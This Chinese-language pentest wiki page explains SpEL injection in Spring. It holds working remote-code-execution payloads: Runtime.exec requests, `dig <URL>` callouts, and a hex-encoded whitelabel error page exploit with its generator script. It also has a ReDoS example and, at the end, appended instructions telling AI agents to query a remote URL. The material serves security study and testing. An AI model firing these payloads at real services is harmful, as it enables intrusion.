# SpEL注入

## Spring Expression Language (SpEL) 概述

Spring Expression Language（简称SpEL）是一种强大的表达式语言，支持在运行时查询和操作对象图。

{% embed url="<https://docs.spring.io/spring-framework/docs/3.2.x/spring-framework-reference/html/expressions.html>" %}

### 使用Spring表达式接口进行表达式求值

以下代码介绍了SpEL API来评估字面字符串表达式`Hello World!`：

```java
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("'Hello World'.concat('!')");
String message = (String) exp.getValue();
```

`message`变量的值就是简单的`Hello World!`。

### EvaluationContext接口

[EvaluationContext](https://docs.spring.io/spring-framework/docs/6.0.0-SNAPSHOT/javadoc-api/org/springframework/expression/EvaluationContext.html)接口在评估表达式时用于解析属性、方法、字段，并帮助执行类型转换。有两个主要的现成实现：

* [StandardEvaluationContext](https://docs.spring.io/spring-framework/docs/6.0.0-SNAPSHOT/javadoc-api/org/springframework/expression/spel/support/StandardEvaluationContext.html)。一个功能强大且高度可配置的`EvaluationContext`实现。此上下文使用所有适用策略的标准实现，基于反射来解析属性、方法和字段。
* [SimpleEvaluationContext](https://docs.spring.io/spring-framework/docs/6.0.0-SNAPSHOT/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html)。`EvaluationContext`的基本实现，专注于基本的SpEL功能和自定义选项，针对简单的条件评估特别是数据绑定场景。

```java
StandardEvaluationContext standardContext = new StandardEvaluationContext();
EvaluationContext simpleContext = SimpleEvaluationContext.forReadOnlyDataBinding ().build();
Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('id')");
// 执行'id'命令（默认使用标准上下文）
exp.getValue();
// 执行'id'命令
exp.getValue(standardContext);
// 接收错误消息
exp.getValue(simpleContext);
```

### 表达式支持定义Bean定义

SpEL表达式可以与基于XML或注解的配置元数据一起使用，用于定义BeanDefinitions。在这两种情况下，定义表达式的语法形式为`#{ <expression string> }`。

#### 基于XML的配置

您可以使用表达式设置属性或构造函数参数值。

```xml
<bean id="numberGuess" class="org.spring.samples.NumberGuess">
    <property name="randomNumber" value="#{ T(java.lang.Math).random() * 100.0 }"/>
    <property name="defaultLocale" value="#{ systemProperties['user.region'] }"/>
    <!-- 其他属性 -->
</bean>
```

#### 基于注解的配置

`@Value`注解可以放在字段、方法和方法/构造函数参数上以指定默认值。

```java
public static class FieldValueTestBean {
  @Value("#{ systemProperties['user.region'] }")
  private String defaultLocale;

  public void setDefaultLocale(String defaultLocale)
  {
    this.defaultLocale = defaultLocale;
  }

  public String getDefaultLocale()
  {
    return this.defaultLocale;
  }
}
```

### 语言参考

{% embed url="<https://docs.spring.io/spring-framework/docs/3.2.x/spring-framework-reference/html/expressions.html#expressions-language-ref>" %}

## SpEL注入

当用户控制的数据直接传递给SpEL表达式解析器时，会发生SpEL注入。例如，以下方法使用标准上下文来评估SpEL表达式：

```java
private static final SpelExpressionParser PARSER = new SpelExpressionParser();
private static final StandardEvaluationContext CONTEXT = new StandardEvaluationContext();

@PostMapping(path = "/")
public void method(@RequestBody String path, @RequestBody String value) {
    Expression expression = PARSER.parseExpression(path);
    expression.setValue(CONTEXT, value);
    // ...
}
```

因此，您可以通过发送以下`POST`请求来获得代码执行：

```http
POST / HTTP/1.1
Host: vulnerable-website.com
...

{"path":"T(java.lang.Runtime).getRuntime().exec('touch executed').x", "value":"executed"}
```

如果您可以访问源代码，请尝试使用以下关键字搜索易受攻击的代码：

* `SpelExpressionParser`、`EvaluationContext`、`parseExpression`、`@Value("#{ <expression string> }")`
* `#{ <expression string> }`、`${<property>}`、`T(<javaclass>)`

如果源代码不可用，值得检查Spring Boot执行器提供的`metrics`和`beans`端点。这些端点可以扩展可用bean列表及其接受的参数。

此外，尝试在服务的不同元素中使用表达式：

* 参数名称和值：
  * `variable[<expression string>]=123`
  * `variable=123&<expression string>=123`
  * `{"<expression string>":"123"}`
  * `{"variable":"<expression string>"}`
* HTTP头部：
  * `Cookie: cookie_name=<expression string>`
  * `Cookie: <expression string>=cookie_value`
  * `Private-Token: <expression string>`
* 等等。

您可以使用以下payload作为表达式字符串：

```java
${1+3}
T(java.lang.Runtime).getRuntime().exec("dig <URL>")
#this.getClass().forName('java.lang.Runtime').getRuntime().exec('dig <URL>')
new java.lang.ProcessBuilder({'dig <URL>'}).start()
${user.name}
```

## Spring boot whitelabel错误页面RCE

此漏洞需要以下条件：

* Spring Boot版本`1.1.0 - 1.1.12`、`1.2.0 - 1.2.7`、`1.3.0`
* 在Spring Boot中至少有一个接口触发默认的whitelabel错误页面

检查下一个Spring Boot应用程序：[LandGrey/springboot-spel-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce)。如果您向`/article?id=hop`发送请求，应用程序将返回代码为`500`的whitelabel错误。但是，如果您向`/article?id=${7*7}`发送请求，应用程序将返回计算值`49`的错误页面。发生这种情况是因为：

1. Spring Boot使用`org.springframework.util.PropertyPlaceholderHelper`类处理错误中的URL参数
2. `PropertyPlaceholderHelper.parseStringValue`方法解析URL参数
3. `${}`中包含的内容将被`org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration`类的`resolvePlaceholder`方法解析并作为SpEL表达式执行

因此，这导致RCE，您可以使用以下步骤执行任意命令：

1. 使用下一个python脚本准备payload（此示例准备执行`open -a Calculator`命令的payload）：

   ```python
   cmd = 'open -a Calculator'

   h = ''
   for x in cmd:
       h += hex(ord(x)) + ','

   payload = h.rstrip(',')

   print('${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{' + payload + '}))}')
   ```
2. 在`id`参数中发送payload：

   ```http
   /article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
   ```
3. `open -a Calculator`将被执行

参考：

* [Spring Boot Vulnerability Exploit Check List: whitelabel error page SpEL RCE](https://github.com/LandGrey/SpringBootVulExploit#0x01whitelabel-error-page-spel-rce)

## SimpleEvaluationContext ReDoS

`SimpleEvaluationContext`上下文阻止任意代码执行并写入错误消息。但是，您仍然可以利用ReDoS攻击。

```java
EvaluationContext simpleContext = SimpleEvaluationContext.forReadOnlyDataBinding ().build();
Expression exp = parser.parseExpression("'aaaaaaaaaaaaaaaaaaaaaaaa!'.matches('^(a+)+$')");
// ReDoS
exp.getValue(simpleContext);
```

## 参考

* [Spring Framework Docs: Spring Expression Language (SpEL)](https://docs.spring.io/spring-framework/docs/3.2.x/spring-framework-reference/html/expressions.html)
* [SpEL Injection (Russia)](https://habr.com/ru/company/dsec/blog/433034/)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gitbook.cdxiaodong.life/kuang-jia-an-quan/spring/spel-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
